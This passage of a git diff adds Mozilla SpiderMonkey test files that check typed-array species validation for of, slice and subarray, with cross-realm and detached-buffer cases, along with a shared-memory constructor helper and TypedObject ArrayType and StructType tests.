+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => 123);
+ assertEq(result.length, length + extraLength);
+ assertEq(result[0], (length === 0 ? 0 : 123));
+ assertEq(result[length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedArray/of-validation.js b/js/src/tests/ecma_7/TypedArray/of-validation.js
new file mode 100644
index 000000000..e7ab90519
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/of-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.of.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [[], [123], [123, ...Array(1023).fill(0)]];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.of,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.of,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].of,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, ...args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, ...args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedArray/shell.js b/js/src/tests/ecma_7/TypedArray/shell.js
new file mode 100644
index 000000000..2fb0ab8f1
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/shell.js
@@ -0,0 +1,114 @@
+(function(global) {
+ "use strict";
+
+ const {
+ Float32Array, Float64Array, Object, Reflect, SharedArrayBuffer, WeakMap,
+ assertEq
+ } = global;
+ const {
+ apply: Reflect_apply,
+ construct: Reflect_construct,
+ } = Reflect;
+ const {
+ get: WeakMap_prototype_get,
+ has: WeakMap_prototype_has,
+ } = WeakMap.prototype;
+
+ const sharedConstructors = new WeakMap();
+
+ // Synthesize a constructor for a shared memory array from the constructor
+ // for unshared memory. This has "good enough" fidelity for many uses. In
+ // cases where it's not good enough, call isSharedConstructor for local
+ // workarounds.
+ function sharedConstructor(baseConstructor) {
+ // Create SharedTypedArray as a subclass of %TypedArray%, following the
+ // built-in %TypedArray% subclasses.
+ class SharedTypedArray extends Object.getPrototypeOf(baseConstructor) {
+ constructor(...args) {
+ var array = Reflect_construct(baseConstructor, args);
+ var {buffer, byteOffset, length} = array;
+ var sharedBuffer = new SharedArrayBuffer(buffer.byteLength);
+ var sharedArray = Reflect_construct(baseConstructor,
+ [sharedBuffer, byteOffset, length],
+ new.target);
+ for (var i = 0; i < length; i++)
+ sharedArray[i] = array[i];
+ assertEq(sharedArray.buffer, sharedBuffer);
+ return sharedArray;
+ }
+ }
+
+ // 22.2.5.1 TypedArray.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // 22.2.6.1 TypedArray.prototype.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray.prototype, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // Share the same name with the base constructor to avoid calling
+ // isSharedConstructor() in multiple places.
+ Object.defineProperty(SharedTypedArray, "name",
+ {__proto__: null, value: baseConstructor.name});
+
+ sharedConstructors.set(SharedTypedArray, baseConstructor);
+
+ return SharedTypedArray;
+ }
+
+ /**
+ * All TypedArray constructors for unshared memory.
+ */
+ const typedArrayConstructors = Object.freeze([
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ]);
+
+ /**
+ * All TypedArray constructors for shared memory.
+ */
+ const sharedTypedArrayConstructors = Object.freeze(
+ typeof SharedArrayBuffer === "function"
+ ? typedArrayConstructors.map(sharedConstructor)
+ : []
+ );
+
+ /**
+ * All TypedArray constructors for unshared and shared memory.
+ */
+ const anyTypedArrayConstructors = Object.freeze([
+ ...typedArrayConstructors, ...sharedTypedArrayConstructors,
+ ]);
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * memory.
+ */
+ function isSharedConstructor(constructor) {
+ return Reflect_apply(WeakMap_prototype_has, sharedConstructors, [constructor]);
+ }
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * or unshared memory, with an underlying element type of either Float32 or
+ * Float64.
+ */
+ function isFloatConstructor(constructor) {
+ if (isSharedConstructor(constructor))
+ constructor = Reflect_apply(WeakMap_prototype_get, sharedConstructors, [constructor]);
+ return constructor == Float32Array || constructor == Float64Array;
+ }
+
+ global.typedArrayConstructors = typedArrayConstructors;
+ global.sharedTypedArrayConstructors = sharedTypedArrayConstructors;
+ global.anyTypedArrayConstructors = anyTypedArrayConstructors;
+ global.isSharedConstructor = isSharedConstructor;
+ global.isFloatConstructor = isFloatConstructor;
+})(this);
diff --git a/js/src/tests/ecma_7/TypedArray/slice-validation.js b/js/src/tests/ecma_7/TypedArray/slice-validation.js
new file mode 100644
index 000000000..95954aafc
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/slice-validation.js
@@ -0,0 +1,187 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.slice.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.slice,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.slice,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.slice,
+ // Note: slice uses CallTypedArrayMethodIfWrapped, which results
+ // in throwing a TypeError from the wrong Realm.
+ error: TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, 0);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0, 0);
+ assertEq(result.length, 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0);
+ assertEq(result.length, length + extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0, 0);
+ assertEq(result.length, extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedArray/subarray-validation.js b/js/src/tests/ecma_7/TypedArray/subarray-validation.js
new file mode 100644
index 000000000..e81f194fb
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/subarray-validation.js
@@ -0,0 +1,110 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.subarray.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.subarray,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.subarray,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.subarray,
+ // Note: subarray uses CallTypedArrayMethodIfWrapped, which results
+ // in throwing a TypeError from the wrong Realm.
+ error: TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ // Note: TypedArray |a| is (currently) created in this global, not
+ // |otherGlobal|, because a typed array and its buffer must
+ // use the same compartment.
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedObject/architecture.js b/js/src/tests/ecma_7/TypedObject/architecture.js
new file mode 100644
index 000000000..4ebaaa9c3
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/architecture.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+
+var BUGNUMBER = 578700;
+var summary = 'Binary Data class diagram';
+
+function assertNotEq(a, b) {
+ var ok = false;
+ try {
+ assertEq(a, b);
+ } catch(exc) {
+ ok = true;
+ }
+
+ if (!ok)
+ throw new TypeError("Assertion failed: assertNotEq(" + a + " " + b + ")");
+}
+
+function assertThrows(f) {
+ var ok = false;
+ try {
+ f();
+ } catch (exc) {
+ ok = true;
+ }
+ if (!ok)
+ throw new TypeError("Assertion failed: " + f + " did not throw as expected");
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var ArrayType = TypedObject.ArrayType;
+ var StructType = TypedObject.StructType;
+
+ assertEq(ArrayType instanceof Function, true);
+ assertEq(ArrayType.prototype instanceof Function, true);
+
+ assertEq(ArrayType.__proto__, Function.__proto__);
+ assertEq(ArrayType.prototype.__proto__, Function.__proto__);
+
+ assertEq(StructType instanceof Function, true);
+ assertEq(StructType.prototype instanceof Function, true);
+
+ assertEq(Object.getPrototypeOf(StructType),
+ Object.getPrototypeOf(Function));
+ assertEq(Object.getPrototypeOf(StructType.prototype),
+ Object.getPrototypeOf(Function));
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/arraybuffer_isview.js b/js/src/tests/ecma_7/TypedObject/arraybuffer_isview.js
new file mode 100644
index 000000000..2035eab30
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/arraybuffer_isview.js
@@ -0,0 +1,33 @@
+var BUGNUMBER = 896105;
+var summary = 'ArrayBuffer.isView';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function runTests() {
+ assertEq(ArrayBuffer.isView(), false);
+ assertEq(ArrayBuffer.isView(undefined), false);
+ assertEq(ArrayBuffer.isView(null), false);
+ assertEq(ArrayBuffer.isView("primitive"), false);
+ assertEq(ArrayBuffer.isView({}), false);
+ assertEq(ArrayBuffer.isView([]), false);
+ assertEq(ArrayBuffer.isView(new ArrayBuffer(10)), false);
+ assertEq(ArrayBuffer.isView(new Int8Array(10)), true);
+ assertEq(ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)), true);
+ if (typeof SharedArrayBuffer != "undefined") {
+ assertEq(ArrayBuffer.isView(new SharedArrayBuffer(10)), false);
+ assertEq(ArrayBuffer.isView(new Int8Array(new SharedArrayBuffer(10))), true);
+ // In the next case subarray should return an ArrayBuffer, so this is
+ // similar to the subarray test above.
+ assertEq(ArrayBuffer.isView(new Int8Array(new SharedArrayBuffer(10)).subarray(0, 3)),
+ true);
+ }
+
+ if (typeof reportCompare !== 'undefined')
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/arrayequiv.js b/js/src/tests/ecma_7/TypedObject/arrayequiv.js
new file mode 100644
index 000000000..e6a89586d
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/arrayequiv.js
@@ -0,0 +1,59 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 922216;
+var summary = 'TypedObjects Equivalent ArrayTypes';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function assertEquivalent(t1, t2) {
+ assertEq(true, t1.equivalent(t2));
+ assertEq(true, t2.equivalent(t1));
+}
+
+function assertNotEquivalent(t1, t2) {
+ assertEq(false, t1.equivalent(t2));
+ assertEq(false, t2.equivalent(t1));
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ // Create a line:
+ var PixelType1 = new StructType({x: uint8, y: uint8});
+ var PixelsType1 = PixelType1.array(22);
+
+ // Sanity checks about type equivalence:
+ assertEquivalent(PixelType1, PixelType1);
+ assertEquivalent(PixelsType1, PixelsType1);
+ assertNotEquivalent(PixelType1, PixelsType1);
+
+ // Define the same two types again. Equivalent.
+ var PixelType2 = new StructType({x: uint8, y: uint8});
+ var PixelsType2 = PixelType2.array(22);
+ assertEquivalent(PixelType1, PixelType2);
+ assertEquivalent(PixelsType1, PixelsType2);
+
+ // Define the pixel type with field order reversed. Not equivalent.
+ var PixelType3 = new StructType({y: uint8, x: uint8});
+ var PixelsType3 = PixelType3.array(22);
+ assertNotEquivalent(PixelType1, PixelType3);
+ assertNotEquivalent(PixelsType1, PixelsType3);
+
+ // Define the pixels type with different number of elements. Not equivalent.
+ var PixelsType3 = PixelType1.array(23);
+ assertNotEquivalent(PixelsType1, PixelsType3);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/arrayofstructs.js b/js/src/tests/ecma_7/TypedObject/arrayofstructs.js
new file mode 100644
index 000000000..e437bd7ab
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/arrayofstructs.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects StructType prototype chains';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var float32 = TypedObject.float32;
+
+function runTests() {
+ var Point = new ArrayType(float32, 3);
+ var Line = new StructType({from: Point, to: Point});
+ var Lines = new ArrayType(Line, 3);
+
+ var lines = new Lines([
+ {from: [1, 2, 3], to: [4, 5, 6]},
+ {from: [7, 8, 9], to: [10, 11, 12]},
+ {from: [13, 14, 15], to: [16, 17, 18]}
+ ]);
+
+ assertEq(lines[1].to[1], 11);
+ assertEqArray(lines[2].from, [13, 14, 15]);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
+
+
diff --git a/js/src/tests/ecma_7/TypedObject/arraytype.js b/js/src/tests/ecma_7/TypedObject/arraytype.js
new file mode 100644
index 000000000..78f4494dd
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/arraytype.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects ArrayType implementation';
+
+function assertThrows(f) {
+ var ok = false;
+ try {
+ f();
+ } catch (exc) {
+ ok = true;
+ }
+ if (!ok)
+ throw new TypeError("Assertion failed: " + f + " did not throw as expected");
+}
+
+var ArrayType = TypedObject.ArrayType;
+var uint8 = TypedObject.uint8;
+var float32 = TypedObject.float32;
+var uint32 = TypedObject.uint32;
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ assertEq(typeof ArrayType.prototype.prototype.forEach == "function", true);
+
+ assertThrows(() => ArrayType(uint8, 10));
+ assertThrows(() => new ArrayType());
+ assertThrows(() => new ArrayType(""));
+ assertThrows(() => new ArrayType(5));
+ assertThrows(() => new ArrayType(uint8).dimension(-1));
+ var A = new ArrayType(uint8, 10);
+ //assertEq(A.__proto__.__proto__, ArrayType.prototype);
+ assertEq(A.length, 10);
+ assertEq(A.elementType, uint8);
+ assertEq(A.byteLength, 10);
+ assertEq(A.toSource(), "new ArrayType(uint8, 10)");
+
+ //assertEq(A.prototype.__proto__.__proto__, ArrayType.prototype.prototype);
+
+ var a = new A();
+ assertEq(a.__proto__, A.prototype);
+ assertEq(a.length, 10);
+
+ assertThrows(() => a.length = 2);
+
+ for (var i = 0; i < a.length; i++)
+ a[i] = i*2;
+
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], i*2);
+
+ a.forEach(function(val, i) {
+ assertEq(val, i*2);
+ assertEq(arguments[2], a);
+ });
+
+ // Range.
+ assertThrows(() => a[i] = 5);
+
+ assertEq(a[a.length], undefined);
+
+ // constructor takes initial value
+ var b = new A(a);
+ for (var i = 0; i < a.length; i++)
+ assertEq(b[i], i*2);
+
+
+ var b = new A([0, 1, 0, 1, 0, 1, 0, 1, 0, 1]);
+ for (var i = 0; i < b.length; i++)
+ assertEq(b[i], i%2);
+
+ assertThrows(() => new A(5));
+ assertThrows(() => new A(/fail/));
+ // Length different
+ assertThrows(() => new A([0, 1, 0, 1, 0, 1, 0, 1, 0]));
+
+ var Vec3 = new ArrayType(float32, 3);
+ var Sprite = new ArrayType(Vec3, 3); // say for position, velocity, and direction
+ assertEq(Sprite.elementType, Vec3);
+ assertEq(Sprite.elementType.elementType, float32);
+
+
+ var mario = new Sprite();
+ // setting using binary data
+ mario[0] = new Vec3([1, 0, 0]);
+ // setting using JS array conversion
+ mario[1] = [1, 1.414, 3.14];
+
+ assertEq(mario[0].length, 3);
+ assertEq(mario[0][0], 1);
+ assertEq(mario[0][1], 0);
+ assertEq(mario[0][2], 0);
+
+ assertThrows(() => mario[1] = 5);
+ mario[1][1] = {};
+ assertEq(Number.isNaN(mario[1][1]), true);
+
+ // ok this is just for kicks
+ var AllSprites = new ArrayType(Sprite, 65536);
+ var as = new AllSprites();
+ assertEq(as.length, 65536);
+
+ var indexPropDesc = Object.getOwnPropertyDescriptor(as, '0');
+ assertEq(typeof indexPropDesc == "undefined", false);
+ assertEq(indexPropDesc.configurable, false);
+ assertEq(indexPropDesc.enumerable, true);
+ assertEq(indexPropDesc.writable, true);
+
+ var lengthPropDesc = Object.getOwnPropertyDescriptor(as, 'length');
+ assertEq(typeof lengthPropDesc == "undefined", false);
+ assertEq(lengthPropDesc.configurable, false);
+ assertEq(lengthPropDesc.enumerable, false);
+ assertEq(lengthPropDesc.writable, false);
+
+ var counter = 0;
+ for (var nm in as) {
+ assertEq(+nm, counter++);
+ }
+ assertEq(counter, as.length);
+
+ assertThrows(() => Object.defineProperty(o, "foo", { value: "bar" }));
+
+ // check if a reference acts the way it should
+ var AA = uint8.array(5, 5);
+ var aa = new AA();
+ var aa0 = aa[0];
+ aa[0] = [0,1,2,3,4];
+ for (var i = 0; i < aa0.length; i++)
+ assertEq(aa0[i], i);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
